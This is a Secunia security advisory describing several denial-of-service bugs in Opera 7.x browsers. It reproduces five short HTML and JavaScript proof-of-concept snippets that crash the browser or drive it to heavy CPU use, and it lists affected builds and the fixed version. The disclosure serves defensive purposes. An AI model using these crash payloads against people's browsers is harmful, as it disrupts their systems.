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Secunia Advisory SA9156

Opera Browser Multiple Denial of Service Issues

Secunia Advisory

SA9156

Release Date

2003-07-01

Last Update

2004-08-20

Popularity

13,021 views

Comments

0 comments

Criticality level

Not critical

Impact

DoS

Where

From remote

Authentication level

Available in Customer Area

Report reliability

Available in Customer Area

Solution Status

Vendor Patch

Systems affected

Available in Customer Area

Approve distribution

Available in Customer Area

Remediation status

Secunia CSI, Secunia PSI

Automated scanning

Secunia CSI, Secunia PSI

Software:

Opera 7.x

Secunia CVSS Score

Available in Customer Area

CVE Reference(s)

No CVE references.

Description

Multiple DoS (Denial of Service) issues have been reported in the Opera browser.

A malicious person can exploit these to either crash the browser due to some NULL pointer dereference bugs or in some cases make it consume vast amounts of CPU resources.

The following five examples was provided in the original advisory:

#1
<!DOCTYPE[NULL byte]A>

#2
<form></form><script>document.forms[0].submit()</script>

#3
<table>
<tr id="crash" style="display:inline"><td>
<script>crash.style.display = "none";</script>
</td></tr>
</table>

#4
<table>
<map id="crash" style="position:absolute"></map>
<script>crash.style.height = crash.style.width = '0';</script>
</table>

#5
<html>
<head>
<style type="text/css">

</style>
</head>
<body>
<div class="aaaaa">
<div class="bbbbb">
<div class="ccccc">
</div>
</div>
</div>
</body>
</html>

The issues have been reported in the following versions for Windows:

7.11b build 2887
7.11 build 2880
7.10 build 2840
7.03 build 2670

However, Secunia has also been able to confirm the issues in version 7.11 for Linux. Prior versions may also be affected.

Solution
The issues do not affect version 7.54.
Further details available in Customer Area

Provided and/or discovered by
imagine and nesumin, :: Operash ::

Changelog
Further details available in Customer Area

Deep Links
Links available in Customer Area

Do you have additional information related to this advisory?

Please provide information about patches, mitigating factors, new versions, exploits, faulty patches, links, and other relevant data by posting comments to this Advisory. You can also send this information to vuln@secunia.com

Subject: Opera Browser Multiple Denial of Service Issues

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Secunia Advisory SA9156

Opera Browser Multiple Denial of Service Issues

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